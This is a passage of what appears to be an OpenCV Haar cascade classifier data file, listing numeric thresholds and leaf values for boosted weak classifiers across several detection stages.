2.2372419480234385e-03 + + 5.2677828073501587e-01 2.7776581048965454e-01 + <_> + + 0 -1 338 -8.8635291904211044e-03 + + 6.9545578956604004e-01 4.8120489716529846e-01 + <_> + + 0 -1 339 4.1753971017897129e-03 + + 4.2918878793716431e-01 6.3491958379745483e-01 + <_> + + 0 -1 340 -1.7098189564421773e-03 + + 2.9305368661880493e-01 5.3612488508224487e-01 + <_> + + 0 -1 341 6.5328548662364483e-03 + + 4.4953250885009766e-01 7.4096941947937012e-01 + <_> + + 0 -1 342 -9.5372907817363739e-03 + + 3.1491199135780334e-01 5.4165017604827881e-01 + <_> + + 0 -1 343 2.5310989469289780e-02 + + 5.1218920946121216e-01 1.3117079436779022e-01 + <_> + + 0 -1 344 3.6460969597101212e-02 + + 5.1759117841720581e-01 2.5913399457931519e-01 + <_> + + 0 -1 345 2.0854329690337181e-02 + + 5.1371401548385620e-01 1.5823160111904144e-01 + <_> + + 0 -1 346 -8.7207747856155038e-04 + + 5.5743098258972168e-01 4.3989789485931396e-01 + <_> + + 0 -1 347 -1.5227000403683633e-05 + + 5.5489408969879150e-01 3.7080699205398560e-01 + <_> + + 0 -1 348 -8.4316509310156107e-04 + + 3.3874198794364929e-01 5.5542111396789551e-01 + <_> + + 0 -1 349 3.6037859972566366e-03 + + 5.3580617904663086e-01 3.4111711382865906e-01 + <_> + + 0 -1 350 -6.8057891912758350e-03 + + 6.1252027750015259e-01 4.3458628654479980e-01 + <_> + + 0 -1 351 -4.7021660953760147e-02 + + 2.3581659793853760e-01 5.1937389373779297e-01 + <_> + + 0 -1 352 -3.6954108625650406e-02 + + 7.3231112957000732e-01 4.7609439492225647e-01 + <_> + + 0 -1 353 1.0439479956403375e-03 + + 5.4194551706314087e-01 3.4113308787345886e-01 + <_> + + 0 -1 354 -2.1050689974799752e-04 + + 2.8216940164566040e-01 5.5549472570419312e-01 + <_> + + 0 -1 355 -8.0831587314605713e-02 + + 9.1299301385879517e-01 4.6974349021911621e-01 + <_> + + 0 -1 356 -3.6579059087671340e-04 + + 6.0226702690124512e-01 3.9782929420471191e-01 + <_> + + 0 -1 357 -1.2545920617412776e-04 + + 5.6132131814956665e-01 3.8455399870872498e-01 + <_> + + 0 -1 358 -6.8786486983299255e-02 + + 2.2616119682788849e-01 5.3004968166351318e-01 + <_> + + 0 -1 359 1.2415789999067783e-02 + + 4.0756919980049133e-01 5.8288121223449707e-01 + <_> + + 0 -1 360 -4.7174817882478237e-03 + + 2.8272539377212524e-01 5.2677577733993530e-01 + <_> + + 0 -1 361 3.8136858493089676e-02 + + 5.0747412443161011e-01 1.0236159712076187e-01 + <_> + + 0 -1 362 -2.8168049175292253e-03 + + 6.1690068244934082e-01 4.3596929311752319e-01 + <_> + + 0 -1 363 8.1303603947162628e-03 + + 4.5244330167770386e-01 7.6060950756072998e-01 + <_> + + 0 -1 364 6.0056019574403763e-03 + + 5.2404087781906128e-01 1.8597120046615601e-01 + <_> + + 0 -1 365 1.9139319658279419e-02 + + 5.2093791961669922e-01 2.3320719599723816e-01 + <_> + + 0 -1 366 1.6445759683847427e-02 + + 5.4507029056549072e-01 3.2642349600791931e-01 + <_> + + 0 -1 367 -3.7356890738010406e-02 + + 6.9990468025207520e-01 4.5332419872283936e-01 + <_> + + 0 -1 368 -1.9727900624275208e-02 + + 2.6536649465560913e-01 5.4128098487854004e-01 + <_> + + 0 -1 369 6.6972579807043076e-03 + + 4.4805660843849182e-01 7.1386522054672241e-01 + <_> + + 0 -1 370 7.4457528535276651e-04 + + 4.2313501238822937e-01 5.4713201522827148e-01 + <_> + + 0 -1 371 1.1790640419349074e-03 + + 5.3417021036148071e-01 3.1304550170898438e-01 + <_> + + 0 -1 372 3.4980610013008118e-02 + + 5.1186597347259521e-01 3.4305301308631897e-01 + <_> + + 0 -1 373 5.6859792675822973e-04 + + 3.5321870446205139e-01 5.4686397314071655e-01 + <_> + + 0 -1 374 -1.1340649798512459e-02 + + 2.8423538804054260e-01 5.3487008810043335e-01 + <_> + + 0 -1 375 -6.6228108480572701e-03 + + 6.8836402893066406e-01 4.4926649332046509e-01 + <_> + + 0 -1 376 -8.0160330981016159e-03 + + 1.7098939418792725e-01 5.2243089675903320e-01 + <_> + + 0 -1 377 1.4206819469109178e-03 + + 5.2908462285995483e-01 2.9933831095695496e-01 + <_> + + 0 -1 378 -2.7801711112260818e-03 + + 6.4988541603088379e-01 4.4604998826980591e-01 + <_> + + 0 -1 379 -1.4747589593753219e-03 + + 3.2604381442070007e-01 5.3881132602691650e-01 + <_> + + 0 -1 380 -2.3830339312553406e-02 + + 7.5289410352706909e-01 4.8012199997901917e-01 + <_> + + 0 -1 381 6.9369790144264698e-03 + + 5.3351658582687378e-01 3.2614278793334961e-01 + <_> + + 0 -1 382 8.2806255668401718e-03 + + 4.5803940296173096e-01 5.7378298044204712e-01 + <_> + + 0 -1 383 -1.0439500212669373e-02 + + 2.5923201441764832e-01 5.2338278293609619e-01 + <_> + 80 + 3.9107288360595703e+01 + + <_> + + 0 -1 384 7.2006587870419025e-03 + + 3.2588860392570496e-01 6.8498080968856812e-01 + <_> + + 0 -1 385 -2.8593589086085558e-03 + + 5.8388811349868774e-01 2.5378298759460449e-01 + <_> + + 0 -1 386 6.8580528022721410e-04 + + 5.7080817222595215e-01 2.8124240040779114e-01 + <_> + + 0 -1 387 7.9580191522836685e-03 + + 2.5010511279106140e-01 5.5442607402801514e-01 + <_> + + 0 -1 388 -1.2124150525778532e-03 + + 2.3853680491447449e-01 5.4333502054214478e-01 + <_> + + 0 -1 389 7.9426132142543793e-03 + + 3.9550709724426270e-01 6.2207579612731934e-01 + <_> + + 0 -1 390 2.4630590341985226e-03 + + 5.6397080421447754e-01 2.9923579096794128e-01 + <_> + + 0 -1 391 -6.0396599583327770e-03 + + 2.1865129470825195e-01 5.4116767644882202e-01 + <_> + + 0 -1 392 -1.2988339876756072e-03 + + 2.3507060110569000e-01 5.3645849227905273e-01 + <_> + + 0 -1 393 2.2299369447864592e-04 + + 3.8041129708290100e-01 5.7296061515808105e-01 + <_> + + 0 -1 394 1.4654280385002494e-03 + + 2.5101679563522339e-01 5.2582687139511108e-01 + <_> + + 0 -1 395 -8.1210042117163539e-04 + + 5.9928238391876221e-01 3.8511589169502258e-01 + <_> + + 0 -1 396 -1.3836020370945334e-03 + + 5.6813961267471313e-01 3.6365869641304016e-01 + <_> + + 0 -1 397 -2.7936449274420738e-02 + + 1.4913170039653778e-01 5.3775602579116821e-01 + <_> + + 0 -1 398 -4.6919551095925272e-04 + + 3.6924299597740173e-01 5.5724847316741943e-01 + <_> + + 0 -1 399 -4.9829659983515739e-03 + + 6.7585092782974243e-01 4.5325040817260742e-01 + <_> + + 0 -1 400 1.8815309740602970e-03 + + 5.3680229187011719e-01 2.9325398802757263e-01 + <_> + + 0 -1 401 -1.9067550078034401e-02 + + 1.6493770480155945e-01 5.3300672769546509e-01 + <_> + + 0 -1 402 -4.6906559728085995e-03 + + 1.9639259576797485e-01 5.1193618774414062e-01 + <_> + + 0 -1 403 5.9777139686048031e-03 + + 4.6711719036102295e-01 7.0083981752395630e-01 + <_> + + 0 -1 404 -3.3303130418062210e-02 + + 1.1554169654846191e-01 5.1041620969772339e-01 + <_> + + 0 -1 405 9.0744107961654663e-02 + + 5.1496601104736328e-01 1.3061730563640594e-01 + <_> + + 0 -1 406 9.3555898638442159e-04 + + 3.6054810881614685e-01 5.4398590326309204e-01 + <_> + + 0 -1 407 1.4901650138199329e-02 + + 4.8862120509147644e-01 7.6875698566436768e-01 + <_> + + 0 -1 408 6.1594118596985936e-04 + + 5.3568130731582642e-01 3.2409390807151794e-01 + <_> + + 0 -1 409 -5.0670988857746124e-02 + + 1.8486219644546509e-01 5.2304041385650635e-01 + <_> + + 0 -1 410 6.8665749859064817e-04 + + 3.8405799865722656e-01 5.5179458856582642e-01 + <_> + + 0 -1 411 8.3712432533502579e-03 + + 4.2885640263557434e-01 6.1317539215087891e-01 + <_> + + 0 -1 412 -1.2953069526702166e-03 + + 2.9136741161346436e-01 5.2807378768920898e-01 + <_> + + 0 -1 413 -4.1941680014133453e-02 + + 7.5547999143600464e-01 4.8560309410095215e-01 + <_> + + 0 -1 414 -2.3529380559921265e-02 + + 2.8382799029350281e-01 5.2560812234878540e-01 + <_> + + 0 -1 415 4.0857449173927307e-02 + + 4.8709350824356079e-01 6.2772971391677856e-01 + <_> + + 0 -1 416 -2.5406869128346443e-02 + + 7.0997077226638794e-01 4.5750290155410767e-01 + <_> + + 0 -1 417 -4.1415440500713885e-04 + + 4.0308868885040283e-01 5.4694122076034546e-01 + <_> + + 0 -1 418 2.1824119612574577e-02 + + 4.5020240545272827e-01 6.7687010765075684e-01 + <_> + + 0 -1 419 1.4114039950072765e-02 + + 5.4428607225418091e-01 3.7917000055313110e-01 + <_> + + 0 -1 420 6.7214590671937913e-05 + + 4.2004638910293579e-01 5.8734762668609619e-01 + <_> + + 0 -1 421 -7.9417638480663300e-03 + + 3.7925618886947632e-01 5.5852657556533813e-01 + <_> + + 0 -1 422 -7.2144409641623497e-03 + + 7.2531038522720337e-01 4.6035489439964294e-01 + <_> + + 0 -1 423 2.5817339774221182e-03 + + 4.6933019161224365e-01 5.9002387523651123e-01 + <_> + + 0 -1 424 1.3409319519996643e-01 + + 5.1492130756378174e-01 1.8088449537754059e-01 + <_> + + 0 -1 425 2.2962710354477167e-03 + + 5.3997439146041870e-01 3.7178671360015869e-01 + <_> + + 0 -1 426 -2.1575849968940020e-03 + + 2.4084959924221039e-01 5.1488637924194336e-01 + <_> + + 0 -1 427 -4.9196188338100910e-03 + + 6.5735882520675659e-01 4.7387400269508362e-01 + <_> + + 0 -1 428 1.6267469618469477e-03 + + 4.1928219795227051e-01 6.3031142950057983e-01 + <_> + + 0 -1 429 3.3413388882763684e-04 + + 5.5402982234954834e-01 3.7021011114120483e-01 + <_> + + 0 -1 430 -2.6698080822825432e-02 + + 1.7109179496765137e-01 5.1014107465744019e-01 + <_> + + 0 -1 431 -3.0561879277229309e-02 + + 1.9042180478572845e-01 5.1687937974929810e-01 + <_> + + 0 -1 432 2.8511548880487680e-03 + + 4.4475069642066956e-01 6.3138538599014282e-01 + <_> + + 0 -1 433 -3.6211479455232620e-02 + + 2.4907270073890686e-01 5.3773492574691772e-01 + <_> + + 0 -1 434 -2.4115189444273710e-03 + + 5.3812432289123535e-01 3.6642369627952576e-01 + <_> + + 0 -1 435 -7.7253201743587852e-04 + + 5.5302321910858154e-01 3.5415500402450562e-01 + <_> + + 0 -1 436 2.9481729143299162e-04 + + 4.1326990723609924e-01 5.6672430038452148e-01 + <_> + + 0 -1 437 -6.2334560789167881e-03 + + 9.8787233233451843e-02 5.1986688375473022e-01 + <_> + + 0 -1 438 -2.6274729520082474e-02 + + 9.1127492487430573e-02 5.0281071662902832e-01 + <_> + + 0 -1 439 5.3212260827422142e-03 + + 4.7266489267349243e-01 6.2227207422256470e-01 + <_> + + 0 -1 440 -4.1129058226943016e-03 + + 2.1574570238590240e-01 5.1378047466278076e-01 + <_> + + 0 -1 441 3.2457809429615736e-03 + + 5.4107707738876343e-01 3.7217769026756287e-01 + <_> + + 0 -1 442 -1.6359709203243256e-02 + + 7.7878749370574951e-01 4.6852919459342957e-01 + <_> + + 0 -1 443 3.2166109303943813e-04 + + 5.4789870977401733e-01 4.2403739690780640e-01 + <_> + + 0 -1 444 6.4452440710738301e-04 + + 5.3305608034133911e-01 3.5013249516487122e-01 + <_> + + 0 -1 445 -7.8909732401371002e-03 + + 6.9235211610794067e-01 4.7265690565109253e-01 + <_> + + 0 -1 446 4.8336211591959000e-02 + + 5.0559002161026001e-01 7.5749203562736511e-02 + <_> + + 0 -1 447 -7.5178127735853195e-04 + + 3.7837418913841248e-01 5.5385738611221313e-01 + <_> + + 0 -1 448 -2.4953910615295172e-03 + + 3.0816510319709778e-01 5.3596121072769165e-01 + <_> + + 0 -1 449 -2.2385010961443186e-03 + + 6.6339588165283203e-01 4.6493428945541382e-01 + <_> + + 0 -1 450 -1.7988430336117744e-03 + + 6.5968447923660278e-01 4.3471878767013550e-01 + <_> + + 0 -1 451 8.7860915809869766e-03 + + 5.2318328619003296e-01 2.3155799508094788e-01 + <_> + + 0 -1 452 3.6715380847454071e-03 + + 5.2042502164840698e-01 2.9773768782615662e-01 + <_> + + 0 -1 453 -3.5336449742317200e-02 + + 7.2388780117034912e-01 4.8615050315856934e-01 + <_> + + 0 -1 454 -6.9189240457490087e-04 + + 3.1050220131874084e-01 5.2298247814178467e-01 + <_> + + 0 -1 455 -3.3946109469980001e-03 + + 3.1389680504798889e-01 5.2101737260818481e-01 + <_> + + 0 -1 456 9.8569283727556467e-04 + + 4.5365801453590393e-01 6.5850979089736938e-01 + <_> + + 0 -1 457 -5.0163101404905319e-02 + + 1.8044540286064148e-01 5.1989167928695679e-01 + <_> + + 0 -1 458 -2.2367259953171015e-03 + + 7.2557020187377930e-01 4.6513590216636658e-01 + <_> + + 0 -1 459 7.4326287722215056e-04 + + 4.4129210710525513e-01 5.8985459804534912e-01 + <_> + + 0 -1 460 -9.3485182151198387e-04 + + 3.5000529885292053e-01 5.3660178184509277e-01 + <_> + + 0 -1 461 1.7497939988970757e-02 + + 4.9121949076652527e-01 8.3152848482131958e-01 + <_> + + 0 -1 462 -1.5200000489130616e-03 + + 3.5702759027481079e-01 5.3705602884292603e-01 + <_> + + 0 -1 463 7.8003940870985389e-04 + + 4.3537721037864685e-01 5.9673351049423218e-01 + <_> + 103 + 5.0610481262207031e+01 + + <_> + + 0 -1 464 -9.9945552647113800e-03 + + 6.1625832319259644e-01 3.0545330047607422e-01 + <_> + + 0 -1 465 -1.1085229925811291e-03 + + 5.8182948827743530e-01 3.1555780768394470e-01 + <_> + + 0 -1 466 1.0364380432292819e-03 + + 2.5520521402359009e-01 5.6929117441177368e-01 + <_> + + 0 -1 467 6.8211311008781195e-04 + + 3.6850899457931519e-01 5.9349310398101807e-01 + <_> + + 0 -1 468 -6.8057340104132891e-04 + + 2.3323920369148254e-01 5.4747921228408813e-01 + <_> + + 0 -1 469 2.6068789884448051e-04 + + 3.2574570178985596e-01 5.6675457954406738e-01 + <_> + + 0 -1 470 5.1607372006401420e-04 + + 3.7447169423103333e-01 5.8454728126525879e-01 + <_> + + 0 -1 471 8.5007521556690335e-04 + + 3.4203711152076721e-01 5.5228072404861450e-01 + <_> + + 0 -1 472 -1.8607829697430134e-03 + + 2.8044199943542480e-01 5.3754240274429321e-01 + <_> + + 0 -1 473 -1.5033970121294260e-03 + + 2.5790509581565857e-01 5.4989522695541382e-01 + <_> + + 0 -1 474 2.3478909861296415e-03 + + 4.1751560568809509e-01 6.3137108087539673e-01 + <_> + + 0 -1 475 -2.8880240279249847e-04 + + 5.8651697635650635e-01 4.0526661276817322e-01 + <_> + + 0 -1 476 8.9405477046966553e-03 + + 5.2111411094665527e-01 2.3186540603637695e-01 + <_> + + 0 -1 477 -1.9327739253640175e-02 + + 2.7534329891204834e-01 5.2415257692337036e-01 + <_> + + 0 -1 478 -2.0202060113660991e-04 + + 5.7229787111282349e-01 3.6771959066390991e-01 + <_> + + 0 -1 479 2.1179069299250841e-03 + + 4.4661080837249756e-01 5.5424308776855469e-01 + <_> + + 0 -1 480 -1.7743760254234076e-03 + + 2.8132531046867371e-01 5.3009599447250366e-01 + <_> + + 0 -1 481 4.2234458960592747e-03 + + 4.3997099995613098e-01 5.7954281568527222e-01 + <_> + + 0 -1 482 -1.4375220052897930e-02 + + 2.9811179637908936e-01 5.2920591831207275e-01 + <_> + + 0 -1 483 -1.5349180437624454e-02 + + 7.7052152156829834e-01 4.7481718659400940e-01 + <_> + + 0 -1 484 1.5152279956964776e-05 + + 3.7188440561294556e-01 5.5768972635269165e-01 + <_> + + 0 -1 485 -9.1293919831514359e-03 + + 3.6151960492134094e-01 5.2867668867111206e-01 + <_> + + 0 -1 486 2.2512159775942564e-03 + + 5.3647047281265259e-01 3.4862980246543884e-01 + <_> + + 0 -1 487 -4.9696918576955795e-03 + + 6.9276517629623413e-01 4.6768361330032349e-01 + <_> + + 0 -1 488 -1.2829010374844074e-02 + + 7.7121537923812866e-01 4.6607351303100586e-01 + <_> + + 0 -1 489 -9.3660065904259682e-03 + + 3.3749839663505554e-01 5.3512877225875854e-01 + <_> + + 0 -1 490 3.2452319283038378e-03 + + 5.3251898288726807e-01 3.2896101474761963e-01 + <_> + + 0 -1 491 -1.1723560281097889e-02 + + 6.8376529216766357e-01 4.7543001174926758e-01 + <_> + + 0 -1 492 2.9257940695970319e-05 + + 3.5720878839492798e-01 5.3605020046234131e-01 + <_> + + 0 -1 493 -2.2244219508138485e-05 + + 5.5414271354675293e-01 3.5520640015602112e-01 + <_> + + 0 -1 494 5.0881509669125080e-03 + + 5.0708442926406860e-01 1.2564620375633240e-01 + <_> + + 0 -1 495 2.7429679408669472e-02 + + 5.2695602178573608e-01 1.6258180141448975e-01 + <_> + + 0 -1 496 -6.4142867922782898e-03 + + 7.1455889940261841e-01 4.5841971039772034e-01 + <_> + + 0 -1 497 3.3479959238320589e-03 + + 5.3986120223999023e-01 3.4946969151496887e-01 + <_> + + 0 -1 498 -8.2635492086410522e-02 + + 2.4391929805278778e-01 5.1602262258529663e-01 + <_> + + 0 -1 499 1.0261740535497665e-03 + + 3.8868919014930725e-01 5.7679080963134766e-01 + <_> + + 0 -1 500 -1.6307090409100056e-03 + + 3.3894580602645874e-01 5.3477007150650024e-01 + <_> + + 0 -1 501 2.4546680506318808e-03 + + 4.6014139056205750e-01 6.3872468471527100e-01 + <_> + + 0 -1 502 -9.9476519972085953e-04 + + 5.7698792219161987e-01 4.1203960776329041e-01 + <_> + + 0 -1 503 1.5409190207719803e-02 + + 4.8787090182304382e-01 7.0898222923278809e-01 + <_> + + 0 -1 504 1.1784400558099151e-03 + + 5.2635532617568970e-01 2.8952449560165405e-01 + <_> + + 0 -1 505 -2.7701919898390770e-02 + + 1.4988289773464203e-01 5.2196067571640015e-01 + <_> + + 0 -1 506 -2.9505399987101555e-02 + + 2.4893319234251976e-02 4.9998161196708679e-01 + <_> + + 0 -1 507 4.5159430010244250e-04 + + 5.4646229743957520e-01 4.0296629071235657e-01 + <_> + + 0 -1 508 7.1772639639675617e-03 + + 4.2710569500923157e-01 5.8662968873977661e-01 + <_> + + 0 -1 509 -7.4182048439979553e-02 + + 6.8741792440414429e-01 4.9190279841423035e-01 + <_> + + 0 -1 510 -1.7254160717129707e-02 + + 3.3706760406494141e-01 5.3487390279769897e-01 + <_> + + 0 -1 511 1.4851559884846210e-02 + + 4.6267929673194885e-01 6.1299049854278564e-01 + <_> + + 0 -1 512 1.0002000257372856e-02 + + 5.3461229801177979e-01 3.4234538674354553e-01 + <_> + + 0 -1 513 2.0138120744377375e-03 + + 4.6438300609588623e-01 5.8243042230606079e-01 + <_> + + 0 -1 514 1.5135470312088728e-03 + + 5.1963961124420166e-01 2.8561499714851379e-01 + <_> + + 0 -1 515 3.1381431035697460e-03 + + 4.8381629586219788e-01 5.9585297107696533e-01 + <_> + + 0 -1 516 -5.1450440660119057e-03 + + 8.9203029870986938e-01 4.7414121031761169e-01 + <_> + + 0 -1 517 -4.4736708514392376e-03 + + 2.0339429378509521e-01 5.3372788429260254e-01 + <_> + + 0 -1 518 1.9628470763564110e-03 + + 4.5716339349746704e-01 6.7258632183074951e-01 + <_> + + 0 -1 519 5.4260450415313244e-03 + + 5.2711081504821777e-01 2.8456708788871765e-01 + <_> + + 0 -1 520 4.9611460417509079e-04 + + 4.1383129358291626e-01 5.7185977697372437e-01 + <_> + + 0 -1 521 9.3728788197040558e-03 + + 5.2251511812210083e-01 2.8048470616340637e-01 + <_> + + 0 -1 522 6.0500897234305739e-04 + + 5.2367687225341797e-01 3.3145239949226379e-01 + <_> + + 0 -1 523 5.6792551185935736e-04 + + 4.5310598611831665e-01 6.2769711017608643e-01 + <_> + + 0 -1 524 2.4644339457154274e-02 + + 5.1308518648147583e-01 2.0171439647674561e-01 + <_> + + 0 -1 525 -1.0290450416505337e-02 + + 7.7865952253341675e-01 4.8766410350799561e-01 + <_> + + 0 -1 526 2.0629419013857841e-03 + + 4.2885988950729370e-01 5.8812642097473145e-01 + <_> + + 0 -1 527 -5.0519481301307678e-03 + + 3.5239779949188232e-01 5.2860087156295776e-01 + <_> + + 0 -1 528 -5.7692620903253555e-03 + + 6.8410861492156982e-01 4.5880940556526184e-01 + <_> + + 0 -1 529 -4.5789941214025021e-04 + + 3.5655200481414795e-01 5.4859781265258789e-01 + <_> + + 0 -1 530 -7.5918837683275342e-04 + + 3.3687931299209595e-01 5.2541971206665039e-01 + <_> + + 0 -1 531 -1.7737259622663260e-03 + + 3.4221610426902771e-01 5.4540151357650757e-01 + <_> + + 0 -1 532 -8.5610467940568924e-03 + + 6.5336120128631592e-01 4.4858568906784058e-01 + <_> + + 0 -1 533 1.7277270089834929e-03 + + 5.3075802326202393e-01 3.9253529906272888e-01 + <_> + + 0 -1 534 -2.8199609369039536e-02 + + 6.8574589490890503e-01 4.5885840058326721e-01 + <_> + + 0 -1 535 -1.7781109781935811e-03 + + 4.0378510951995850e-01 5.3698569536209106e-01 + <_> + + 0 -1 536 3.3177141449414194e-04 + + 5.3997987508773804e-01 3.7057501077651978e-01 + <_> + + 0 -1 537 2.6385399978607893e-03 + + 4.6654370427131653e-01 6.4527308940887451e-01 + <_> + + 0 -1 538 -2.1183069329708815e-03 + + 5.9147810935974121e-01 4.0646770596504211e-01 + <_> + + 0 -1 539 -1.4773289673030376e-02 + + 3.6420381069183350e-01 5.2947628498077393e-01 + <_> + + 0 -1 540 -1.6815440729260445e-02 + + 2.6642319560050964e-01 5.1449728012084961e-01 + <_> + + 0 -1 541 -6.3370140269398689e-03 + + 6.7795312404632568e-01 4.8520979285240173e-01 + <_> + + 0 -1 542 -4.4560048991115764e-05 + + 5.6139647960662842e-01 4.1530540585517883e-01 + <_> + + 0 -1 543 -1.0240620467811823e-03 + + 5.9644782543182373e-01 4.5663040876388550e-01 + <_> + + 0 -1 544 -2.3161689750850201e-03 + + 2.9761150479316711e-01 5.1881599426269531e-01 + <_> + + 0 -1 545 5.3217571973800659e-01 + + 5.1878392696380615e-01 2.2026319801807404e-01 + <_> + + 0 -1 546 -1.6643050312995911e-01 + + 1.8660229444503784e-01 5.0603431463241577e-01 + <_> + + 0 -1 547 1.1253529787063599e-01 + + 5.2121251821517944e-01 1.1850229650735855e-01 + <_> + + 0 -1 548 9.3046864494681358e-03 + + 4.5899370312690735e-01 6.8261492252349854e-01 + <_> + + 0 -1 549 -4.6255099587142467e-03 + + 3.0799409747123718e-01 5.2250087261199951e-01 + <_> + + 0 -1 550 -1.1116469651460648e-01 + + 2.1010440587997437e-01 5.0808018445968628e-01 + <_> + + 0 -1 551 -1.0888439603149891e-02 + + 5.7653552293777466e-01 4.7904640436172485e-01 + <_> + + 0 -1 552 5.8564301580190659e-03 + + 5.0651001930236816e-01 1.5635989606380463e-01 + <_> + + 0 -1 553 5.4854389280080795e-02 + + 4.9669149518013000e-01 7.2305107116699219e-01 + <_> + + 0 -1 554 -1.1197339743375778e-02 + + 2.1949790418148041e-01 5.0987982749938965e-01 + <_> + + 0 -1 555 4.4069071300327778e-03 + + 4.7784018516540527e-01 6.7709028720855713e-01 + <_> + + 0 -1 556 -6.3665293157100677e-02 + + 1.9363629817962646e-01 5.0810241699218750e-01 + <_> + + 0 -1 557 -9.8081491887569427e-03 + + 5.9990632534027100e-01 4.8103410005569458e-01 + <_> + + 0 -1 558 -2.1717099007219076e-03 + + 3.3383339643478394e-01 5.2354729175567627e-01 + <_> + + 0 -1 559 -1.3315520249307156e-02 + + 6.6170698404312134e-01 4.9192130565643311e-01 + <_> + + 0 -1 560 2.5442079640924931e-03 + + 4.4887441396713257e-01 6.0821849107742310e-01 + <_> + + 0 -1 561 1.2037839740514755e-02 + + 5.4093921184539795e-01 3.2924321293830872e-01 + <_> + + 0 -1 562 -2.0701050758361816e-02 + + 6.8191200494766235e-01 4.5949959754943848e-01 + <_> + + 0 -1 563 2.7608279138803482e-02 + + 4.6307921409606934e-01 5.7672828435897827e-01 + <_> + + 0 -1 564 1.2370620388537645e-03 + + 5.1653790473937988e-01 2.6350161433219910e-01 + <_> + + 0 -1 565 -3.7669338285923004e-02 + + 2.5363931059837341e-01 5.2789801359176636e-01 + <_> + + 0 -1 566 -1.8057259730994701e-03 + + 3.9851561188697815e-01 5.5175000429153442e-01 + <_> + 111 + 5.4620071411132812e+01 + + <_> + + 0 -1 567 4.4299028813838959e-03 + + 2.8910180926322937e-01 6.3352262973785400e-01 + <_> + + 0 -1 568 -2.3813319858163595e-03 + + 6.2117892503738403e-01 3.4774878621101379e-01 + <_> + + 0 -1 569 2.2915711160749197e-03 + + 2.2544120252132416e-01 5.5821180343627930e-01 + <_> + + 0 -1 570 9.9457940086722374e-04 + + 3.7117108702659607e-01 5.9300708770751953e-01 + <_> + + 0 -1 571 7.7164667891338468e-04 + + 5.6517201662063599e-01 3.3479958772659302e-01 + <_> + + 0 -1 572 -1.1386410333216190e-03 + + 3.0691260099411011e-01 5.5086308717727661e-01 + <_> + + 0 -1 573 -1.6403039626311511e-04 + + 5.7628279924392700e-01 3.6990478634834290e-01 + <_> + + 0 -1 574 2.9793529392918572e-05 + + 2.6442441344261169e-01 5.4379111528396606e-01 + <_> + + 0 -1 575 8.5774902254343033e-03 + + 5.0511389970779419e-01 1.7957249283790588e-01 + <_> + + 0 -1 576 -2.6032689493149519e-04 + + 5.8269691467285156e-01 4.4468268752098083e-01 + <_> + + 0 -1 577 -6.1404630541801453e-03 + + 3.1138521432876587e-01 5.3469717502593994e-01 + <_> + + 0 -1 578 -2.3086950182914734e-02 + + 3.2779461145401001e-01 5.3311979770660400e-01 + <_> + + 0 -1 579 -1.4243650250136852e-02 + + 7.3817098140716553e-01 4.5880630612373352e-01 + <_> + + 0 -1 580 1.9487129524350166e-02 + + 5.2566307783126831e-01 2.2744719684123993e-01 + <_> + + 0 -1 581 -9.6681108698248863e-04 + + 5.5112308263778687e-01 3.8150069117546082e-01 + <_> + + 0 -1 582 3.1474709976464510e-03 + + 5.4256367683410645e-01 2.5437268614768982e-01 + <_> + + 0 -1 583 -1.8026070029009134e-04 + + 5.3801918029785156e-01 3.4063041210174561e-01 + <_> + + 0 -1 584 -6.0266260989010334e-03 + + 3.0358019471168518e-01 5.4205721616744995e-01 + <_> + + 0 -1 585 4.4462960795499384e-04 + + 3.9909970760345459e-01 5.6601101160049438e-01 + <_> + + 0 -1 586 2.2609760053455830e-03 + + 5.5628067255020142e-01 3.9406880736351013e-01 + <_> + + 0 -1 587 5.1133058965206146e-02 + + 4.6096539497375488e-01 7.1185618638992310e-01 + <_> + + 0 -1 588 -1.7786309123039246e-02 + + 2.3161660134792328e-01 5.3221440315246582e-01 + <_> + + 0 -1 589 -4.9679628573358059e-03 + + 2.3307719826698303e-01 5.1220291852951050e-01 + <_> + + 0 -1 590 2.0667689386755228e-03 + + 4.6574440598487854e-01 6.4554882049560547e-01 + <_> + + 0 -1 591 7.4413768015801907e-03 + + 5.1543921232223511e-01 2.3616339266300201e-01 + <_> + + 0 -1 592 -3.6277279723435640e-03 + + 6.2197732925415039e-01 4.4766610860824585e-01 + <_> + + 0 -1 593 -5.3530759178102016e-03 + + 1.8373550474643707e-01 5.1022082567214966e-01 + <_> + + 0 -1 594 1.4530919492244720e-01 + + 5.1459872722625732e-01 1.5359309315681458e-01 + <_> + + 0 -1 595 2.4394490756094456e-03 + + 5.3436601161956787e-01 3.6246618628501892e-01 + <_> + + 0 -1 596 -3.1283390708267689e-03 + + 6.2150079011917114e-01 4.8455920815467834e-01 + <_> + + 0 -1 597 1.7940260004252195e-03 + + 4.2992618680000305e-01 5.8241981267929077e-01 + <_> + + 0 -1 598 3.6253821104764938e-02 + + 5.2603340148925781e-01 1.4394679665565491e-01 + <_> + + 0 -1 599 -5.1746722310781479e-03 + + 3.5065388679504395e-01 5.2870452404022217e-01 + <_> + + 0 -1 600 6.5383297624066472e-04 + + 4.8096409440040588e-01 6.1220401525497437e-01 + <_> + + 0 -1 601 -2.6480229571461678e-02 + + 1.1393620073795319e-01 5.0455862283706665e-01 + <_> + + 0 -1 602 -3.0440660193562508e-03 + + 6.3520950078964233e-01 4.7947341203689575e-01 + <_> + + 0 -1 603 3.6993520334362984e-03 + + 5.1311182975769043e-01 2.4985109269618988e-01 + <_> + + 0 -1 604 -3.6762931267730892e-04 + + 5.4213947057723999e-01 3.7095320224761963e-01 + <_> + + 0 -1 605 -4.1382260620594025e-02 + + 1.8949599564075470e-01 5.0816917419433594e-01 + <_> + + 0 -1 606 -1.0532729793339968e-03 + + 6.4543670415878296e-01 4.7836089134216309e-01 + <_> + + 0 -1 607 -2.1648600231856108e-03 + + 6.2150311470031738e-01 4.4998261332511902e-01 + <_> + + 0 -1 608 -5.6747748749330640e-04 + + 3.7126109004020691e-01 5.4193347692489624e-01 + <_> + + 0 -1 609 1.7375840246677399e-01 + + 5.0236439704895020e-01 1.2157420068979263e-01 + <_> + + 0 -1 610 -2.9049699660390615e-03 + + 3.2402679324150085e-01 5.3818839788436890e-01 + <_> + + 0 -1 611 1.2299539521336555e-03 + + 4.1655078530311584e-01 5.7034862041473389e-01 + <_> + + 0 -1 612 -5.4329237900674343e-04 + + 3.8540428876876831e-01 5.5475491285324097e-01 + <_> + + 0 -1 613 -8.3297258242964745e-03 + + 2.2044940292835236e-01 5.0970828533172607e-01 + <_> + + 0 -1 614 -1.0417630255687982e-04 + + 5.6070661544799805e-01 4.3030360341072083e-01 + <_> + + 0 -1 615 3.1204700469970703e-02 + + 4.6216571331024170e-01 6.9820040464401245e-01 + <_> + + 